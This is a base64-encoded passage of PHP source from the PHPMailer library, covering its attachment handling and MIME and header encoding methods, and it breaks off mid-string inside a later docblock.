KICAgICAqIEV4cGxpY2l0bHkgKmRvZXMgbm90KiBzdXBwb3J0IHBhc3NpbmcgVVJMczsgUEhQTWFpbGVyIGlzIG5vdCBhbiBIVFRQIGNsaWVudC4KICAgICAqIElmIHlvdSBuZWVkIHRvIGRvIHRoYXQsIGZldGNoIHRoZSByZXNvdXJjZSB5b3Vyc2VsZiBhbmQgcGFzcyBpdCBpbiB2aWEgYSBsb2NhbCBmaWxlIG9yIHN0cmluZy4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHBhdGggUGF0aCB0byB0aGUgYXR0YWNobWVudC4KICAgICAqIEBwYXJhbSBzdHJpbmcgJG5hbWUgT3ZlcnJpZGVzIHRoZSBhdHRhY2htZW50IG5hbWUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRlbmNvZGluZyBGaWxlIGVuY29kaW5nIChzZWUgJEVuY29kaW5nKS4KICAgICAqIEBwYXJhbSBzdHJpbmcgJHR5cGUgRmlsZSBleHRlbnNpb24gKE1JTUUpIHR5cGUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRkaXNwb3NpdGlvbiBEaXNwb3NpdGlvbiB0byB1c2UKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAcmV0dXJuIGJvb2xlYW4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEF0dGFjaG1lbnQoJHBhdGgsICRuYW1lID0gJycsICRlbmNvZGluZyA9ICdiYXNlNjQnLCAkdHlwZSA9ICcnLCAkZGlzcG9zaXRpb24gPSAnYXR0YWNobWVudCcpCiAgICB7CiAgICAgICAgdHJ5IHsKICAgICAgICAgICAgaWYgKCFzZWxmOjppc1Blcm1pdHRlZFBhdGgoJHBhdGgpIG9yICFAaXNfZmlsZSgkcGF0aCkpIHsKICAgICAgICAgICAgICAgIHRocm93IG5ldyBwaHBtYWlsZXJFeGNlcHRpb24oJHRoaXMtPmxhbmcoJ2ZpbGVfYWNjZXNzJykgLiAkcGF0aCwgc2VsZjo6U1RPUF9DT05USU5VRSk7CiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIC8vIElmIGEgTUlNRSB0eXBlIGlzIG5vdCBzcGVjaWZpZWQsIHRyeSB0byB3b3JrIGl0IG91dCBmcm9tIHRoZSBmaWxlIG5hbWUKICAgICAgICAgICAgaWYgKCR0eXBlID09ICcnKSB7CiAgICAgICAgICAgICAgICAkdHlwZSA9IHNlbGY6OmZpbGVuYW1lVG9UeXBlKCRwYXRoKTsKICAgICAgICAgICAgfQoKICAgICAgICAgICAgJGZpbGVuYW1lID0gYmFzZW5hbWUoJHBhdGgpOwogICAgICAgICAgICBpZiAoJG5hbWUgPT0gJycpIHsKICAgICAgICAgICAgICAgICRuYW1lID0gJGZpbGVuYW1lOwogICAgICAgICAgICB9CgogICAgICAgICAgICAkdGhpcy0+YXR0YWNobWVudFtdID0gYXJyYXkoCiAgICAgICAgICAgICAgICAwID0+ICRwYXRoLAogICAgICAgICAgICAgICAgMSA9PiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAyID0+ICRuYW1lLAogICAgICAgICAgICAgICAgMyA9PiAkZW5jb2RpbmcsCiAgICAgICAgICAgICAgICA0ID0+ICR0eXBlLAogICAgICAgICAgICAgICAgNSA9PiBmYWxzZSwgLy8gaXNTdHJpbmdBdHRhY2htZW50CiAgICAgICAgICAgICAgICA2ID0+ICRkaXNwb3NpdGlvbiwKICAgICAgICAgICAgICAgIDcgPT4gMAogICAgICAgICAgICApOwoKICAgICAgICB9IGNhdGNoIChwaHBtYWlsZXJFeGNlcHRpb24gJGV4YykgewogICAgICAgICAgICAkdGhpcy0+c2V0RXJyb3IoJGV4Yy0+Z2V0TWVzc2FnZSgpKTsKICAgICAgICAgICAgJHRoaXMtPmVkZWJ1ZygkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICBpZiAoJHRoaXMtPmV4Y2VwdGlvbnMpIHsKICAgICAgICAgICAgICAgIHRocm93ICRleGM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gdHJ1ZTsKICAgIH0KCiAgICAvKioKICAgICAqIFJldHVybiB0aGUgYXJyYXkgb2YgYXR0YWNobWVudHMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgcmV0dXJuICR0aGlzLT5hdHRhY2htZW50OwogICAgfQoKICAgIC8qKgogICAgICogQXR0YWNoIGFsbCBmaWxlLCBzdHJpbmcsIGFuZCBiaW5hcnkgYXR0YWNobWVudHMgdG8gdGhlIG1lc3NhZ2UuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGRpc3Bvc2l0aW9uX3R5cGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGJvdW5kYXJ5CiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gYXR0YWNoQWxsKCRkaXNwb3NpdGlvbl90eXBlLCAkYm91bmRhcnkpCiAgICB7CiAgICAgICAgLy8gUmV0dXJuIHRleHQgb2YgYm9keQogICAgICAgICRtaW1lID0gYXJyYXkoKTsKICAgICAgICAkY2lkVW5pcSA9IGFycmF5KCk7CiAgICAgICAgJGluY2wgPSBhcnJheSgpOwoKICAgICAgICAvLyBBZGQgYWxsIGF0dGFjaG1lbnRzCiAgICAgICAgZm9yZWFjaCAoJHRoaXMtPmF0dGFjaG1lbnQgYXMgJGF0dGFjaG1lbnQpIHsKICAgICAgICAgICAgLy8gQ2hlY2sgaWYgaXQgaXMgYSB2YWxpZCBkaXNwb3NpdGlvbl9maWx0ZXIKICAgICAgICAgICAgaWYgKCRhdHRhY2htZW50WzZdID09ICRkaXNwb3NpdGlvbl90eXBlKSB7CiAgICAgICAgICAgICAgICAvLyBDaGVjayBmb3Igc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgICRzdHJpbmcgPSAnJzsKICAgICAgICAgICAgICAgICRwYXRoID0gJyc7CiAgICAgICAgICAgICAgICAkYlN0cmluZyA9ICRhdHRhY2htZW50WzVdOwogICAgICAgICAgICAgICAgaWYgKCRiU3RyaW5nKSB7CiAgICAgICAgICAgICAgICAgICAgJHN0cmluZyA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkcGF0aCA9ICRhdHRhY2htZW50WzBdOwogICAgICAgICAgICAgICAgfQoKICAgICAgICAgICAgICAgICRpbmNsaGFzaCA9IG1kNShzZXJpYWxpemUoJGF0dGFjaG1lbnQpKTsKICAgICAgICAgICAgICAgIGlmIChpbl9hcnJheSgkaW5jbGhhc2gsICRpbmNsKSkgewogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgJGluY2xbXSA9ICRpbmNsaGFzaDsKICAgICAgICAgICAgICAgICRuYW1lID0gJGF0dGFjaG1lbnRbMl07CiAgICAgICAgICAgICAgICAkZW5jb2RpbmcgPSAkYXR0YWNobWVudFszXTsKICAgICAgICAgICAgICAgICR0eXBlID0gJGF0dGFjaG1lbnRbNF07CiAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24gPSAkYXR0YWNobWVudFs2XTsKICAgICAgICAgICAgICAgICRjaWQgPSAkYXR0YWNobWVudFs3XTsKICAgICAgICAgICAgICAgIGlmICgkZGlzcG9zaXRpb24gPT0gJ2lubGluZScgJiYgYXJyYXlfa2V5X2V4aXN0cygkY2lkLCAkY2lkVW5pcSkpIHsKICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRjaWRVbmlxWyRjaWRdID0gdHJ1ZTsKCiAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcyVzJywgJGJvdW5kYXJ5LCAkdGhpcy0+TEUpOwogICAgICAgICAgICAgICAgLy9Pbmx5IGluY2x1ZGUgYSBmaWxlbmFtZSBwcm9wZXJ0eSBpZiB3ZSBoYXZlIG9uZQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXM7IG5hbWU9IiVzIiVzJywKICAgICAgICAgICAgICAgICAgICAgICAgJHR5cGUsCiAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5lbmNvZGVIZWFkZXIoJHRoaXMtPnNlY3VyZUhlYWRlcigkbmFtZSkpLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtVHlwZTogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICR0eXBlLAogICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgLy8gUkZDMTM0MSBwYXJ0IDUgc2F5cyA3Yml0IGlzIGFzc3VtZWQgaWYgbm90IHNwZWNpZmllZAogICAgICAgICAgICAgICAgaWYgKCRlbmNvZGluZyAhPSAnN2JpdCcpIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZignQ29udGVudC1UcmFuc2Zlci1FbmNvZGluZzogJXMlcycsICRlbmNvZGluZywgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICBpZiAoJGRpc3Bvc2l0aW9uID09ICdpbmxpbmUnKSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoJ0NvbnRlbnQtSUQ6IDwlcz4lcycsICRjaWQsICR0aGlzLT5MRSk7CiAgICAgICAgICAgICAgICB9CgogICAgICAgICAgICAgICAgLy8gSWYgYSBmaWxlbmFtZSBjb250YWlucyBhbnkgb2YgdGhlc2UgY2hhcnMsIGl0IHNob3VsZCBiZSBxdW90ZWQsCiAgICAgICAgICAgICAgICAvLyBidXQgbm90IG90aGVyd2lzZTogUkZDMjE4MyAmIFJGQzIwNDUgNS4xCiAgICAgICAgICAgICAgICAvLyBGaXhlcyBhIHdhcm5pbmcgaW4gSUVURidzIG1zZ2xpbnQgTUlNRSBjaGVja2VyCiAgICAgICAgICAgICAgICAvLyBBbGxvdyBmb3IgYnlwYXNzaW5nIHRoZSBDb250ZW50LURpc3Bvc2l0aW9uIGhlYWRlciB0b3RhbGx5CiAgICAgICAgICAgICAgICBpZiAoIShlbXB0eSgkZGlzcG9zaXRpb24pKSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkX25hbWUgPSAkdGhpcy0+ZW5jb2RlSGVhZGVyKCR0aGlzLT5zZWN1cmVIZWFkZXIoJG5hbWUpKTsKICAgICAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnL1sgXChcKTw+QCw7OlxcIlwvXFtcXVw\/PV0vJywgJGVuY29kZWRfbmFtZSkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXM7IGZpbGVuYW1lPSIlcyIlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZF9uYW1lLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRoaXMtPkxFIC4gJHRoaXMtPkxFCiAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkZW5jb2RlZF9uYW1lKSkgewogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9IHNwcmludGYoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ0NvbnRlbnQtRGlzcG9zaXRpb246ICVzOyBmaWxlbmFtZT0lcyVzJywKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZGlzcG9zaXRpb24sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGVuY29kZWRfbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdGhpcy0+TEUgLiAkdGhpcy0+TEUKICAgICAgICAgICAgICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gc3ByaW50ZigKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnQ29udGVudC1EaXNwb3NpdGlvbjogJXMlcycsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGRpc3Bvc2l0aW9uLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0aGlzLT5MRSAuICR0aGlzLT5MRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgJG1pbWVbXSA9ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KCiAgICAgICAgICAgICAgICAvLyBFbmNvZGUgYXMgc3RyaW5nIGF0dGFjaG1lbnQKICAgICAgICAgICAgICAgIGlmICgkYlN0cmluZykgewogICAgICAgICAgICAgICAgICAgICRtaW1lW10gPSAkdGhpcy0+ZW5jb2RlU3RyaW5nKCRzdHJpbmcsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPmVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5pc0Vycm9yKCkpIHsKICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuICcnOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAkbWltZVtdID0gJHRoaXMtPkxFIC4gJHRoaXMtPkxFOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICAkbWltZVtdID0gc3ByaW50ZignLS0lcy0tJXMnLCAkYm91bmRhcnksICR0aGlzLT5MRSk7CgogICAgICAgIHJldHVybiBpbXBsb2RlKCcnLCAkbWltZSk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbmNvZGUgYSBmaWxlIGF0dGFjaG1lbnQgaW4gcmVxdWVzdGVkIGZvcm1hdC4KICAgICAqIFJldHVybnMgYW4gZW1wdHkgc3RyaW5nIG9uIGZhaWx1cmUuCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggdG8gdGhlIGZpbGUKICAgICAqIEBwYXJhbSBzdHJpbmcgJGVuY29kaW5nIFRoZSBlbmNvZGluZyB0byB1c2U7IG9uZSBvZiAnYmFzZTY0JywgJzdiaXQnLCAnOGJpdCcsICdiaW5hcnknLCAncXVvdGVkLXByaW50YWJsZScKICAgICAqIEB0aHJvd3MgcGhwbWFpbGVyRXhjZXB0aW9uCiAgICAgKiBAYWNjZXNzIHByb3RlY3RlZAogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGVuY29kZUZpbGUoJHBhdGgsICRlbmNvZGluZyA9ICdiYXNlNjQnKQogICAgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgIGlmICghc2VsZjo6aXNQZXJtaXR0ZWRQYXRoKCRwYXRoKSBvciAhZmlsZV9leGlzdHMoJHBhdGgpKSB7CiAgICAgICAgICAgICAgICB0aHJvdyBuZXcgcGhwbWFpbGVyRXhjZXB0aW9uKCR0aGlzLT5sYW5nKCdmaWxlX29wZW4nKSAuICRwYXRoLCBzZWxmOjpTVE9QX0NPTlRJTlVFKTsKICAgICAgICAgICAgfQogICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZmFsc2U7CiAgICAgICAgICAgIGlmKCB2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjQuMCcsICc8JykgKSB7CiAgICAgICAgICAgICAgICAkbWFnaWNfcXVvdGVzID0gZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKCk7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgaWYgKCRtYWdpY19xdW90ZXMpIHsKICAgICAgICAgICAgICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc1LjMuMCcsICc8JykpIHsKICAgICAgICAgICAgICAgICAgICBzZXRfbWFnaWNfcXVvdGVzX3J1bnRpbWUoZmFsc2UpOwogICAgICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICAgICAvL0RvZXNuJ3QgZXhpc3QgaW4gUEhQIDUuNCwgYnV0IHdlIGRvbid0IG5lZWQgdG8gY2hlY2sgYmVjYXVzZQogICAgICAgICAgICAgICAgICAgIC8vZ2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lIGFsd2F5cyByZXR1cm5zIGZhbHNlIGluIDUuNCsKICAgICAgICAgICAgICAgICAgICAvL3NvIGl0IHdpbGwgbmV2ZXIgZ2V0IGhlcmUKICAgICAgICAgICAgICAgICAgICBpbmlfc2V0KCdtYWdpY19xdW90ZXNfcnVudGltZScsIGZhbHNlKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICAkZmlsZV9idWZmZXIgPSBmaWxlX2dldF9jb250ZW50cygkcGF0aCk7CiAgICAgICAgICAgICRmaWxlX2J1ZmZlciA9ICR0aGlzLT5lbmNvZGVTdHJpbmcoJGZpbGVfYnVmZmVyLCAkZW5jb2RpbmcpOwogICAgICAgICAgICBpZiAoJG1hZ2ljX3F1b3RlcykgewogICAgICAgICAgICAgICAgaWYgKHZlcnNpb25fY29tcGFyZShQSFBfVkVSU0lPTiwgJzUuMy4wJywgJzwnKSkgewogICAgICAgICAgICAgICAgICAgIHNldF9tYWdpY19xdW90ZXNfcnVudGltZSgkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAgICAgaW5pX3NldCgnbWFnaWNfcXVvdGVzX3J1bnRpbWUnLCAkbWFnaWNfcXVvdGVzKTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgICAgICByZXR1cm4gJGZpbGVfYnVmZmVyOwogICAgICAgIH0gY2F0Y2ggKEV4Y2VwdGlvbiAkZXhjKSB7CiAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkZXhjLT5nZXRNZXNzYWdlKCkpOwogICAgICAgICAgICByZXR1cm4gJyc7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgc3RyaW5nIGluIHJlcXVlc3RlZCBmb3JtYXQuCiAgICAgKiBSZXR1cm5zIGFuIGVtcHR5IHN0cmluZyBvbiBmYWlsdXJlLgogICAgICogQHBhcmFtIHN0cmluZyAkc3RyIFRoZSB0ZXh0IHRvIGVuY29kZQogICAgICogQHBhcmFtIHN0cmluZyAkZW5jb2RpbmcgVGhlIGVuY29kaW5nIHRvIHVzZTsgb25lIG9mICdiYXNlNjQnLCAnN2JpdCcsICc4Yml0JywgJ2JpbmFyeScsICdxdW90ZWQtcHJpbnRhYmxlJwogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBlbmNvZGVTdHJpbmcoJHN0ciwgJGVuY29kaW5nID0gJ2Jhc2U2NCcpCiAgICB7CiAgICAgICAgJGVuY29kZWQgPSAnJzsKICAgICAgICBzd2l0Y2ggKHN0cnRvbG93ZXIoJGVuY29kaW5nKSkgewogICAgICAgICAgICBjYXNlICdiYXNlNjQnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSBjaHVua19zcGxpdChiYXNlNjRfZW5jb2RlKCRzdHIpLCA3NiwgJHRoaXMtPkxFKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICc3Yml0JzoKICAgICAgICAgICAgY2FzZSAnOGJpdCc6CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT5maXhFT0woJHN0cik7CiAgICAgICAgICAgICAgICAvLyBNYWtlIHN1cmUgaXQgZW5kcyB3aXRoIGEgbGluZSBicmVhawogICAgICAgICAgICAgICAgaWYgKHN1YnN0cigkZW5jb2RlZCwgLShzdHJsZW4oJHRoaXMtPkxFKSkpICE9ICR0aGlzLT5MRSkgewogICAgICAgICAgICAgICAgICAgICRlbmNvZGVkIC49ICR0aGlzLT5MRTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgICAgICBjYXNlICdiaW5hcnknOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkc3RyOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIGNhc2UgJ3F1b3RlZC1wcmludGFibGUnOgogICAgICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUVAoJHN0cik7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICAgICAgZGVmYXVsdDoKICAgICAgICAgICAgICAgICR0aGlzLT5zZXRFcnJvcigkdGhpcy0+bGFuZygnZW5jb2RpbmcnKSAuICRlbmNvZGluZyk7CiAgICAgICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICRlbmNvZGVkOwogICAgfQoKICAgIC8qKgogICAgICogRW5jb2RlIGEgaGVhZGVyIHN0cmluZyBvcHRpbWFsbHkuCiAgICAgKiBQaWNrcyBzaG9ydGVzdCBvZiBRLCBCLCBxdW90ZWQtcHJpbnRhYmxlIG9yIG5vbmUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmFtIHN0cmluZyAkc3RyCiAgICAgKiBAcGFyYW0gc3RyaW5nICRwb3NpdGlvbgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGVuY29kZUhlYWRlcigkc3RyLCAkcG9zaXRpb24gPSAndGV4dCcpCiAgICB7CiAgICAgICAgJG1hdGNoY291bnQgPSAwOwogICAgICAgIHN3aXRjaCAoc3RydG9sb3dlcigkcG9zaXRpb24pKSB7CiAgICAgICAgICAgIGNhc2UgJ3BocmFzZSc6CiAgICAgICAgICAgICAgICBpZiAoIXByZWdfbWF0Y2goJy9bXDIwMC1cMzc3XS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgIC8vIENhbid0IHVzZSBhZGRzbGFzaGVzIGFzIHdlIGRvbid0IGtub3cgdGhlIHZhbHVlIG9mIG1hZ2ljX3F1b3Rlc19zeWJhc2UKICAgICAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IGFkZGNzbGFzaGVzKCRzdHIsICJcMC4uXDM3XDE3N1xcXCIiKTsKICAgICAgICAgICAgICAgICAgICBpZiAoKCRzdHIgPT0gJGVuY29kZWQpICYmICFwcmVnX21hdGNoKCcvW15BLVphLXowLTkhIyQlJlwnKitcLz0\/Xl9ge3x9fiAtXS8nLCAkc3RyKSkgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCRlbmNvZGVkKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICByZXR1cm4gKCJcIiRlbmNvZGVkXCIiKTsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvW15cMDQwXDA0MVwwNDMtXDEzM1wxMzUtXDE3Nl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIC8qKiBAbm9pbnNwZWN0aW9uIFBocE1pc3NpbmdCcmVha1N0YXRlbWVudEluc3BlY3Rpb24gKi8KICAgICAgICAgICAgY2FzZSAnY29tbWVudCc6CiAgICAgICAgICAgICAgICAkbWF0Y2hjb3VudCA9IHByZWdfbWF0Y2hfYWxsKCcvWygpIl0vJywgJHN0ciwgJG1hdGNoZXMpOwogICAgICAgICAgICAgICAgLy8gSW50ZW50aW9uYWwgZmFsbC10aHJvdWdoCiAgICAgICAgICAgIGNhc2UgJ3RleHQnOgogICAgICAgICAgICBkZWZhdWx0OgogICAgICAgICAgICAgICAgJG1hdGNoY291bnQgKz0gcHJlZ19tYXRjaF9hbGwoJy9bXDAwMC1cMDEwXDAxM1wwMTRcMDE2LVwwMzdcMTc3LVwzNzddLycsICRzdHIsICRtYXRjaGVzKTsKICAgICAgICAgICAgICAgIGJyZWFrOwogICAgICAgIH0KCiAgICAgICAgLy9UaGVyZSBhcmUgbm8gY2hhcnMgdGhhdCBuZWVkIGVuY29kaW5nCiAgICAgICAgaWYgKCRtYXRjaGNvdW50ID09IDApIHsKICAgICAgICAgICAgcmV0dXJuICgkc3RyKTsKICAgICAgICB9CgogICAgICAgICRtYXhsZW4gPSA3NSAtIDcgLSBzdHJsZW4oJHRoaXMtPkNoYXJTZXQpOwogICAgICAgIC8vIFRyeSB0byBzZWxlY3QgdGhlIGVuY29kaW5nIHdoaWNoIHNob3VsZCBwcm9kdWNlIHRoZSBzaG9ydGVzdCBvdXRwdXQKICAgICAgICBpZiAoJG1hdGNoY291bnQgPiBzdHJsZW4oJHN0cikgLyAzKSB7CiAgICAgICAgICAgIC8vIE1vcmUgdGhhbiBhIHRoaXJkIG9mIHRoZSBjb250ZW50IHdpbGwgbmVlZCBlbmNvZGluZywgc28gQiBlbmNvZGluZyB3aWxsIGJlIG1vc3QgZWZmaWNpZW50CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdCJzsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnbWJfc3RybGVuJykgJiYgJHRoaXMtPmhhc011bHRpQnl0ZXMoJHN0cikpIHsKICAgICAgICAgICAgICAgIC8vIFVzZSBhIGN1c3RvbSBmdW5jdGlvbiB3aGljaCBjb3JyZWN0bHkgZW5jb2RlcyBhbmQgd3JhcHMgbG9uZwogICAgICAgICAgICAgICAgLy8gbXVsdGlieXRlIHN0cmluZ3Mgd2l0aG91dCBicmVha2luZyBsaW5lcyB3aXRoaW4gYSBjaGFyYWN0ZXIKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gJHRoaXMtPmJhc2U2NEVuY29kZVdyYXBNQigkc3RyLCAiXG4iKTsKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgICRlbmNvZGVkID0gYmFzZTY0X2VuY29kZSgkc3RyKTsKICAgICAgICAgICAgICAgICRtYXhsZW4gLT0gJG1heGxlbiAlIDQ7CiAgICAgICAgICAgICAgICAkZW5jb2RlZCA9IHRyaW0oY2h1bmtfc3BsaXQoJGVuY29kZWQsICRtYXhsZW4sICJcbiIpKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRlbmNvZGluZyA9ICdRJzsKICAgICAgICAgICAgJGVuY29kZWQgPSAkdGhpcy0+ZW5jb2RlUSgkc3RyLCAkcG9zaXRpb24pOwogICAgICAgICAgICAkZW5jb2RlZCA9ICR0aGlzLT53cmFwVGV4dCgkZW5jb2RlZCwgJG1heGxlbiwgdHJ1ZSk7CiAgICAgICAgICAgICRlbmNvZGVkID0gc3RyX3JlcGxhY2UoJz0nIC4gc2VsZjo6Q1JMRiwgIlxuIiwgdHJpbSgkZW5jb2RlZCkpOwogICAgICAgIH0KCiAgICAgICAgJGVuY29kZWQgPSBwcmVnX3JlcGxhY2UoJy9eKC4qKSQvbScsICcgPT8nIC4gJHRoaXMtPkNoYXJTZXQgLiAiPyRlbmNvZGluZz9cXDE\/PSIsICRlbmNvZGVkKTsKICAgICAgICAkZW5jb2RlZCA9IHRyaW0oc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkZW5jb2RlZCkpOwoKICAgICAgICByZXR1cm4gJGVuY29kZWQ7CiAgICB9CgogICAgLyoqCiAgICAgKiBDaGVjayBpZiBhIHN0cmluZyBjb250YWlucyBtdWx0aS1ieXRlIGNoYXJhY3RlcnMuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHBhcmF